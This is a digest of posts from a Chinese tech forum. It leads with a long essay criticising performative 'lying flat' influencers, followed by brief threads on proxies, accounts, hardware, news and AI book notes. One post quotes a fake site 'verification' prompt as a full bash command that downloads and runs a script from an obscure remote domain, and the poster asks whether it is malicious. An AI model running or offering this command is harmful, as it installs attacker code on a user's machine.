标题: [长文手敲] 虚伪的“躺平”思潮来源于...
作者: #白芸汐
板块: #搞七捻三
编号: 2111643
帖子: https://linux.do/t/topic/2111643
时间: 2026-05-05 10:00:14
摘要:

很多躺平压根没躺下
最近“躺平”又被拎出来批判了一轮。
官方文章说，有境外势力借助网络平台放大社会焦虑，传播“努力无用”“奋斗吃亏”等消极叙事，还提到有境外组织资助“躺平网红”，批量生产“躺平即正义”之类的短视频，搞系统性洗脑。
文章里最有节目效果的一句话，大概就是那些煽动别人躺平的人，自己正忙得脚不沾地。
这话乍听很像宣传口径，细想又确实存在一层实际的现实逻辑。
因为真正的躺平，通常没有什么传播能力。
一个人真躺平到三和大神那种状态，今天做日结，明天睡网吧，后天桥洞下面开人生结算页面，他通常不会每天剪视频、写小作文、开直播、做社群、打赏互关、引导舆论、经营人设。
他连维持稳定的内容输出都很困难，更别提做内容矩阵、搞流量变现了。他今天的手机可能欠费，明天的网费还没着落，后天吃饭都要靠日结工资现结现花。
这样的人，你让他怎么日更？怎么维护粉丝群？怎么跟品牌方谈商务合作？
互联网上声音最大的“躺平”，很多时候反倒是一种表演型躺平。
表演型躺平的本质是什么？是用“躺平”的人设，干着最卷的活。嘴上说我已经看破红尘，手上还在抢首评。
嘴上说不想努力了，眼睛还盯着流量后台的数据曲线。嘴上说人生没有意义，转头发了十八条动态，主打一个精神已死，账号很活。
你点进他的主页，简介写着“人间不值得”，结果一天更新五条，图文并茂加字幕，剪辑节奏比专业博主还紧凑。这哪里是躺平，这是换了个赛道在冲刺。
而且这种表演型躺平，恰恰是最需要观众的一种生活方式。真正的躺平是向内坍缩，表演型躺平是向外索取——索取注意力，索取共鸣，索取流量，最终索取商业变现。
他的“躺”，本身就是一套精心设计的人设产品。他卖的不是别的，就是“躺平”这个姿态。他用批判内卷的方式，参与了一场更隐蔽的内卷竞争——注意力经济的竞争。
死人不会说话，躺平的人更不会日更。
真躺平了，连发朋友圈的欲望都没有，因为没什么可展示的，也没什么需要证明的。那些每天在社交媒体上直播自己“躺平生活”的人，本质上是在上班。
他们的工作是“表演不工作”，他们的职业是“展示不职业”。
你围观他在出租屋里煮挂面，他靠你的围观赚钱；你共情他被社会抛弃的苦闷，他靠你的共情接广告。最后谁是真正的消费者，谁是真正的劳动者，谁被谁消费了，这笔账其实很清楚。
所以问题的核心，不能只看“躺平”两个字，要看谁在说，为什么说，靠什么说，说给谁听。
更要看这种言说本身，是不是一种新的劳动形式——一种隐藏在“退出”叙事之下的高强度参与。
真躺平很少浪漫，它更像社会边缘的低电量模式
真躺平并不体面。
它很少是“我看透了资本主义的虚妄，所以决定在出租屋里煮一碗清水挂面，配上哲学思考”。
更多时候，它是失业、债务、社交断裂、家庭支持消失、技能断档、心理崩塌之后的低电量模式。不是主动选择了简朴，而是被简化到了无可再简的境地。
三和大神为什么会被反复提起？因为那种生活没有任何精致滤镜，没有任何可供消费的美感。
那里没有“松弛感穿搭”，没有“低欲望生活美学”，没有“我在县城实现精神自由”这类小红书式的文案标题。那里只有网吧包夜的味道、日结工资拿到手之后的即时消费、以及日复一日断点续传式的生存。
真躺平者的一天是这样度过的：醒来先确认今天有没有日结可做，有就去干几个小时体力活，拿到钱之后解决当天的吃饭和上网费用，剩下的事明天再说。这不是什么“活在当下”的哲学实践，这就是被当下压住了，翻不了身。
这种生活状态甚至有一种成瘾性。日结工资的即时反馈、网吧的廉价娱乐、零责任的社交关系，会构成一个自我维持的低水平均衡。
越躺越出不来的原因不是懒惰，而是当你长期处于这种状态，你的技能会贬值、你的社会关系会消失、你的时间感知会紊乱、你对未来的规划能力会退化。
最终你不是“选择”躺平，而是除了躺平之外已经不会做别的事了。这和社会性死亡有什么区别？区别可能只在于呼吸有没有停，俗称“躺废了”。
这种人当然值得被看见，但不能被美化。
因为真躺平不是人生哲学，更不是什么先锋的反抗姿态。它更多是社会失败后的应激反应，是个体在劳动力市场中被淘汰、在教育筛选中被甩出、在城市生活成本面前被压垮、在家庭支持系统疏漏中被遗忘之后的生存策略。
它提醒我们，劳动市场的弹性、教育筛选的合理性、城市生活的包容度、家庭社会安全网的牢固程度，每一个环节都可能把人一步步推到边缘。
当一个人最后滑落到“做一天玩三天”的节奏里，他其实已经经历了多轮筛汰。
可它不能被包装成青年启蒙，不能被美化为“觉醒”。
把真躺平包装成“反抗姿态”，就像把断电的手机说成“极简主义电子生活”。听起来很高级，实际上只是没电了。你管这叫“主动降噪”，但人家是真的接收不到信号了。
那些把三和大神的生活哲学化的人，往往是站在安全距离之外的观察者，他们从这个群体的苦难中提取美学和批判性叙事，却不用承受其中任何真实的代价。
这种“代言”本身，可能也是一种隐性的剥削：我看你的苦，写我的文章，赚我的流量，而你连我是谁都不知道。
真躺平者的沉默，才是这个现象最沉重的部分。他们不生产叙事，不输出观点，不组织社群，不参与舆论。他们只是在城市的褶皱里安静地活着，或者安静地消耗着。
当我们谈论“躺平”的时候，首先要问的是：我们谈论的到底是哪一种躺平？是那个在镜头前侃侃而谈的躺平博主，还是那个在城中村网吧角落里睡着了的年轻人？前者在用躺平向上流动，后者已经放弃了流动本身。
这不是同一个物种，不该共用一个标签。
假躺平才是互联网主流，且最容易披上道德外衣
网上大量“躺平”，其实是低成本生活方式的精心包装。
父母有退休金，家里有房，自己月光，拒绝社交，拒绝承担家庭责任，然后发帖说自己已经和世界和解，已经参透了人生的虚妄。
点进去一看，文案写的是“逃离内卷”，配图是自家客厅里一抹精心布置的角落，MUJI风的碗碟，手冲咖啡的器具，窗台上还养着多肉。
这不是逃离，这是把中产生活换了种叙事重新讲一遍。你有兜底，有技能特长。
这类人当然可以选择自己的生活。只要不违法，不伤人，不骗钱，不给别人制造烂摊子，谁都没有资格冲进人家客厅按着人奋斗。生活方式的自主权，本来就是文明社会的基本配置。你爱过什么样的日子，只要不侵犯他人边界，都是你的自由。
但也别把这包装成高级思想，包装成普适真理。
这本质上是家庭资产垫底后的风险转移。自己看似不卷，是因为父母在背后托底，托住了住房、医疗、养老和所有突发风险的底部。
自己看似低欲望，是因为真正的欲望已经被上一代人的积蓄提前满足了一部分，房租省了，房贷没有，大病花销有人兜着，你当然可以云淡风轻地说“钱不重要”。
自己看似不被消费主义裹挟，那是因为通勤、房租、水电、大病备用金这些真正压垮年轻人的账单，早被上一代人替你结了一部分。
你把账单转移了，然后说账单不存在，这不叫清醒，这叫视角盲区。
最搞笑的是，这些人往往还特别爱审判别人，而且审判时带着一种居高临下的道德优越感。
别人加班，他说你被PUA了，怎么这么奴性。
别人考证，他说你内卷入脑，被成功学洗了。
别人创业，他说你给资本当狗，迟早被榨干。
别人攒钱买房，他说你被房产叙事绑定，一辈子的韭菜。
这些话术像一套万能公式，往任何人的努力上一套，都能得出“你不清醒”的结论。可最后问他日常开销从哪里来，他开始切换话术了，说家人之间不要算这么清楚，说生活不是只有钱，说人要活得松弛一点。
好家伙，键盘上是犬儒主义，一到现实就是亲情主义。批判别人用的是一套冷冰冰的结构分析，解释自己用的是一套温情的家庭话语。批判别人时他是社会学家，分析自己时他变成了诗人。
这种假躺平最虚伪的地方，在于它把个人条件说成普遍真理，把家庭缓冲说成精神觉醒，把依赖结构说成清醒人生。
他站在一个由家庭构筑的安全高地上，俯视那些在泥地里挣扎的同龄人，然后轻飘飘地来一句：你们跑得太难看了，你看我，我就不跑。
如果说真躺平是没得选，假躺平常常是有人帮他兜底之后，反过来劝没伞的人别跑，说跑也没用，说终点什么都没有，说不如像我一样站在这感受当下的雨。
暴雨天坐在车里的人，劝路边淋雨的行人感受雨水的自由，说跑起来太狼狈，说反正跑到哪里都是湿，不如慢下来欣赏雨景。
这话从车里传出来的时候，多少有点缺德。因为行人不是不想上车，他是没有车。
而车里的人，也没打算开门让他上来。
拒绝PUA不叫躺平，正常生活也不该被打成摆烂
这里必须分清一类人，分得越清楚，讨论才越有建设性。
有些人不加无意义的班，不参加恶臭酒局，不接受职场羞辱，不为了所谓“狼性文化”把身体熬成一次性耗材。
他下了班就走，周末不回工作微信，团建能不去就不去，领导半夜发消息他装没看见。这种人不能叫躺平，这叫正常人。
这类人很可能是优质国民。
他按时上班，按时交税，遵守秩序，不闹事，不骗补，不搞诈骗，不把情绪倾倒给陌生人。
他的工作成果对得起工资，他的私人时间对得起自己。
他只是拒绝把生命全部献祭给一些糟糕的组织文化，拒绝把“服从”包装成“成长”，拒绝把“忍受”说成“成熟”。
他没有对不起任何人，他活成了一个正常的、边界清晰的人。
这种人需要的不是批判，而是保护。
如果一个社会把“正常下班”叫躺平，把“拒绝无偿加班”叫不奋斗，把“不愿被PUA”叫缺乏奉献精神，那问题就不在青年身上，而在话语系统本身已经开始腐化了。
这套话语系统在干一件很危险的事：它在重新定义“正常”。
它想把一种过度消耗的、不健康的、不可持续的状态定义为“正常”，然后把真正正常的人打成“异类”。
这是语言的腐败，也是价值

标题: 现在grok的sso 一天就会过期吗，老马你怎么回事
作者: #yunxi
板块: #开发调优
编号: 2111644
帖子: https://linux.do/t/topic/2111644
时间: 2026-05-05 10:00:19
摘要:

rt，昨天提取的grok super sso 第二天就过期了。用的是cookie提取的，ip是搬瓦工。难道是ip不够干净吗

标题: 最近准备测测 nv72……
作者: #boxjan
板块: #搞七捻三
编号: 2111657
帖子: https://linux.do/t/topic/2111657
时间: 2026-05-05 10:02:49
摘要:

不过是 B 系列的，大家有什么好奇的内容吗？到时如果不涉及 NDA 可以把一些数据在帖子里

标题: pro号池 100刀 10*10刀的额度 CDK形式分发
作者: #xw666
板块: #福利羊毛
编号: 2111674
帖子: https://linux.do/t/topic/2111674
时间: 2026-05-05 10:06:07
摘要:

这几次都是发key 感觉每个佬都没蹬舒服 所以换了cdk+兑换码的形式LINUX DO CDK

标题: 有啥机场有冷门国家呢？
作者: #zcqzwy
板块: #搞七捻三
编号: 2111682
帖子: https://linux.do/t/topic/2111682
时间: 2026-05-05 10:08:37
摘要:

想佬友推荐个有冷门国家的机场，比如澳大利亚(这个可能不算冷门，但还是感觉很多机场没有)，德国，土耳其，印度尼西亚之类的，用的量不多，最好有按量收费

标题: 有尼日钱包的哥们请联系我
作者: #ShawnY
板块: #搞七捻三
编号: 2111691
帖子: https://linux.do/t/topic/2111691
时间: 2026-05-05 10:10:20
摘要:

xdm,我遇到脑残小黑了，上个我找小黑开了10个Spotify，他用谷歌play帮我开的，结果现在他不知道用哪些谷歌账号帮我开的了，导致我没法续费，有尼卡的兄弟们请联系帮我续一下

标题: 关于国外VPS中转NAS
作者: #zflow
板块: #搞七捻三
编号: 2111704
帖子: https://linux.do/t/topic/2111704
时间: 2026-05-05 10:11:55
摘要:

家里NAS用的移动网，有公网v6但是不让路由器拨号（尝试路由拨号结果千兆下载限速到百兆），光猫又不能精确配置防火墙，要想公网v6访问只能把防火墙全关了。
尝试过CF隧道，很慢。也用过tailscale，没走derp在外地观看nas视频也只有1M/s左右的速度。买了个带三网优化的美国VPS，尝试绕路中转，nas上通过frp转发照片墙服务以及视频到vps，照片墙服务刚好用来做vps的vless+reality节点自偷。现在看nas视频也有4M/s，足够用了。但是gemini告诉我通过VPS访问国内服务，流量特征太明显，容易被封。想问各位佬真是这样吗？照片服务这种小流量的也容易出事吗？

标题: 我阅读帖子不够为啥还是3级？
作者: #None
板块: #搞七捻三
编号: 2111706
帖子: https://linux.do/t/topic/2111706
时间: 2026-05-05 10:13:11
摘要:

标题: bewild.ai为啥能下载账单
作者: #苦练一投机
板块: #开发调优
编号: 2111710
帖子: https://linux.do/t/topic/2111710
时间: 2026-05-05 10:13:50
摘要:

1.感觉wild的充值也来路不正，但是能提供官方收据，不会是自己生成的吧？
2.假如是假的收据有没有能验证的地方？
3.其他低价的渠道能不能搞到发票呢

标题: 湖南浏阳烟花厂爆炸
作者: #protect
板块: #前沿快讯
编号: 2111711
帖子: https://linux.do/t/topic/2111711
时间: 2026-05-05 10:13:55
摘要:

2026年5月4日16时43分左右，长沙浏阳市华盛烟花制造燃放有限公司车间发生爆炸。截至目前，爆炸事故已致21人死亡，61人受伤，目前警方正在追查事故原因。详情

标题: 跳古怪验证方式，是不是恶意代码啊
作者: #zzhssh
板块: #搞七捻三
编号: 2111716
帖子: https://linux.do/t/topic/2111716
时间: 2026-05-05 10:16:27
摘要:

佬友们，帮看看这个网站（https://www.ahhhhfs.com/）是被挂恶意代码了吗，跳出个验证，让去终端执行，粘贴到文本是这个命令
“/bin/bash -c “$(curl -A ‘Mac OS X 10_15_7’ -fsSL ‘ybdbeqkp.repu1sivebrazen.digital/?ublib=dfYfRhlqeqgZmigl’)”; echo ""BotGuard: Answer the protector challenge. Ref: 63658”，AI说这个代码很危险，有这种验证方式吗

标题: 《大模型通识课：技术演进、商业革命与业落地》--前言+第一张
作者: #钟阮
板块: #读书成诗
编号: 2111720
帖子: https://linux.do/t/topic/2111720
时间: 2026-05-05 10:16:51
摘要:

用> 格式的都是原书的摘录，然后普通文本都是自己的理解，-->当时随想

前言


AI不是替代工具，而是我们自身思维方式的延展。
所谓“思维链”，是一种让机器不再仅仅给出结果，而是能够展示、构建、优化推理路径的能力。
智能的本质不是数据堆砌，而是路径构建；不是知道答案，而是解释过程。
人类文明的每一次重大跨越，都始于思维方式的革命。
传统AI系统如同精密的复读机，能够复刻知识图谱，却难以在陌生场景中构建逻辑链条。基于思维链的大模型技术打破了这种僵局，让AI系统开始展示出分步推


传统 AI 系统如同精密的复读机，能够复刻知识，却难以真正组织推理。随着大模型与思维链技术的发展，AI 不再只是替代人类完成任务的工具，而逐渐成为人类思维方式的延展。所谓思维链，正是让模型从单纯给出答案，转向构建、展示并优化推理路径的能力。它打破了传统 AI 依赖知识复现的局限，使智能的重点从“知道什么”转向“如何理解、如何推导、如何解释”。
第1章 AI的进化与大语言模型时代


机器不仅开始回答问题，更开始展示它们的思考过程。
当机器的思考轨迹首次以透明化的链条呈现，人类认知史的坐标系被重塑。
20世纪60年代，AI研究主要集中在符号主义（Symbo-lism）和专家系统（Expert System）上。符号主义试图通过逻辑和规则来模拟人类的思维过程。–> 将人类的思考抽象成代码的规律，但是在处理复杂和模糊的问题上有很大的局限性，也就是只会用人类预先写号的规则进行推理。局限在于问题变得复杂、模糊、不确定，或者没有预制好就不大可能进行灵活性处理。==没有真实的自适应能力和自主学习能力，然后可以结合下面遇到的挑战，更多的是过程中的结论，得出来的结果上的表现
符号主义的核心思想是通过逻辑和规则来表示知识和推理过程。
符号主义面临的挑战：1. 知识标识的复杂性，因为人类的知识是复杂和多样的，很难通过一组固定的规律来完全表示；2. 推理过程的复杂性，在处理简单、明细的问题时候表现良好，但是面对复杂和模糊的问题时候，显得力不从心
在符号主义遇到困境的时候，专家系统开始崭露头角，专家系统是通过编码专家知识来解决特定领域的问题，例子为MTCIN，通过一些列“如果-那么”（if-then）规律来模拟医生的诊断过程
同时专家系统也遇到了一定的局限性：1. 知识获取；2. 知识更新
进入20世纪80年代，AI研究迎来了一个新的高潮。神经网络和机器学习开始崭露头角。神经网络的灵感来自人脑的结构，通过模拟神经元之间的连接来处理信息。
20世纪80年代，随着反向传播算法（Backpropagation）的提出，机器学习才真正兴起。反向传播算法由Geoffrey Hinton、David Rumelhart和Ronald Williams在1986年提出，它解决了训练多层神经网络的难题，使得神经网络在处理复杂任务时变得更加高效。反向传播算法通过计算误差的梯度，并将梯度信息反向传播到每一层神经元，从而调整权重，逐步减少误差。–> 也就是说，神经网络作为机器学习的一个子项，然后多层神经网络遇到了一个问题，能力很强，但是有一个问题，不知道怎么让它有效的学会，单层的比较简单，输入进去输出错了，能够比较直观的知道有哪些权重要改，但是多层，中间因为层数多了，不太清楚是中间那一层错了，==得到了当时关键的难题，误差分配问题，这个时候反向传播算法出来，通过将错误一层层回传，计算每个层级对错误的责任，然后模型才知道哪些参数要调大调小，综合上所说，反向传播算法其实就是一本错题本，辅助神经网络进行复盘
机器学习的核心思想是通过数据驱动的方法让计算机从经验中学习，而不是依赖于预定义的规则。这个阶段的研究主要集中在监督学习（Supervised Learning）和无监督学习（Unsupervised Learning）上。监督学习通过标注数据进行训练，而无监督学习则试图从未标注的数据中发现模式和结构。–> 无监督学习不是“有一个校验算法，所以模型就没必要学”，因为"需要一个目标或指标来引导学习，但真正被训练出来的模型，才负责提取结构、压缩信息、生成表示，并用于后续任务。"
强化学习（Reinforcement Learning）作为机器学习的一个重要分支，也在这一时期得到了发展。强化学习通过与环境的交互，学习如何采取行动以最大化累积奖励。
深度学习的成功可归因于3个关键因素：计算能力的指数级增长、大规模标注数据集的可获取性和算法的创新。–> 算力更强、数据更多、算法更好
大语言模型（Large Language Model，LLM）是自然语言处理领域的一个重要突破。大语言模型通过训练海量的文本数据来学习，能够生成和理解自然语言。
缩放定律：模型性能与参数规模呈对数线性关系，即性能提升与参数量的对数成正比。–> 当模型参数、训练数据和计算量不断扩大时，模型能力通常会按照某种可预测规律提升。≈ 参数越大，能力越大
能力涌现：某些能力在模型规模未达到特定阈值之前几乎不存在或表现极差，而超过阈值后，这些能力会突然出现或显著提升 → 应该和前面的差不多，当模型参数提升以后，原本小参数缺失/较为落后的能力突然提升
涌现能力和技术突破的关联：1. MoE（Mixture of Expert，混合专家）；2. 稀疏注意力机制；3. 训练数据优化
预训练范式：模型在海量数据的“考试”中，通过人类的对齐和反馈，大致理解了世界应当怎样运转，能够根据统计规律和经验回答大多数问题。模型更像一位“见多识广但未必深究”的学生，通过不断做题、背题、记题来迅速扩充知识储备。它可以在多数场合给出漂亮的答案，却没有真正了解为何如此回答。这使得模型的“思考”带有统计意义上的正确性，却常常欠缺真正的推理内核。
推理模型：更强调“知其所以然“，正逐步展现出自反思能力：当一条推理链出现漏洞或者低效时，模型可以主动检讨自己的思路，并尝试修正或优化。当模型知道了“为什么”之后，就能根据具体的环境上下文去制定最佳执行策略，进而带来真正的行动层变革。


AI 的发展路线，是从人工规则走向数据学习，再走向大规模模型与推理能力的形成。
最早的时候AI研究主要是集中在符号主义和专家系统，但是二者均有各自的缺陷，后面AI研究迎来了一个新的高潮机器学习和神经网络，神经网络的灵感来自人脑的结构，通过模拟神经元之间的连接来处理信息。神经网络作为机器学习的一个子项，然后多层神经网络遇到了一个问题，能力很强，但是有一个问题，不知道怎么让它有效的学会，单层的比较简单，输入进去输出错了，能够比较直观的知道有哪些权重要改，但是多层，中间因为层数多了，不太清楚是中间那一层错了，==得到了当时关键的难题，误差分配问题，这个时候反向传播算法出来，通过将错误一层层回传，计算每个层级对错误的责任，然后模型才知道哪些参数要调大调小，综合上所说，反向传播算法其实就是一本错题本，辅助神经网络进行复盘。
机器学习的核心就是基于数据驱动，让计算机从经验钟学习，而不是和符号主义/专家系统一样基于预定义的规则，而是主要集中在监督学习 (通过标注数据进行训练)和无监督学习(试图从未标注的数据中发现模式和结构)
强化学习是机器学习的重要分支。不同于监督学习依赖标注答案，强化学习更强调智能体与环境之间的交互。智能体通过不断尝试行动，并根据环境给予的奖励或惩罚来调整自身策略，最终学习如何在长期过程中获得最大累积奖励。它更适合描述决策、控制、游戏、机器人等需要连续行动和反馈的问题。
深度学习的成功其实就是：算力更强大、数据量多了、算法优化的更好了，类似踩着前面的经验的出来强大成品？
大语言模型通过海量的文本数据学习，有两个特性：1. 缩放定律：随着参数规模、数据规模和计算资源扩大，模型性能通常会按照一定规律提升。；2. 能力涌现：当模型参数提升以后，原本小参数缺失/较为落后的能力突然提升，当然能力的涌现也是和技术的突破有关联的。
预训练出来的模型更像是一味见多识广但是不太会深究的学生，善用题海战术拓宽知识能力，能给出大部分“令人满意”的答案，却不会真正了解为什么是这样，知其然不知其所以然。随机后续出现了推理模型，主要是解决预训练出来的传统模型缺乏稳定的推理过程和可解释的推理路径的问题，也就是逐步展现反思能力，能够在推理过程中检查、修正和优化自己的推理路径，并优化

标题: 要命了，今天就上班了
作者: #阿祖
板块: #搞七捻三
编号: 2111746
帖子: https://linux.do/t/topic/2111746
时间: 2026-05-05 10:24:34
摘要:

有没有佬今天上班的，啊，为啥只放4天，累爆了

标题: 谷歌账号用了接码，现在要求二次验证，是不是废了
作者: #时月
板块: #开发调优
编号: 2111756
帖子: https://linux.do/t/topic/2111756
时间: 2026-05-05 10:25:41
摘要:

如图，之前要求验证手机号的时候没想太多，直接用接码了，现在一登录就要求接码恢复，点“试试其他方式”也只会跳转到这里，但是herosms的号没法二次使用，请问还有什么办法吗

标题: 做了一个黄金预测研判系统
作者: #gekvap60
板块: #开发调优
编号: 2111763
帖子: https://linux.do/t/topic/2111763
时间: 2026-05-05 10:27:21
摘要:

各位看官觉得如何，昨天刚做出来 然后多个agent协同工作
效果如下图 就是这么个效果

标题: 求佬友帮忙下载百度文库资源一个，感谢
作者: #foundit
板块: #资源荟萃
编号: 2111772
帖子: https://linux.do/t/topic/2111772
时间: 2026-05-05 10:29:19
摘要:

https://wenku.baidu.com/view/22939cd374232f60ddccda38376baf1ffd4fe32d.html?_wkts_=1777946982531&bdQuery=遗璞贾平凹&needWelcomeRecommand=1
度盘、蓝族都可以，感谢佬友！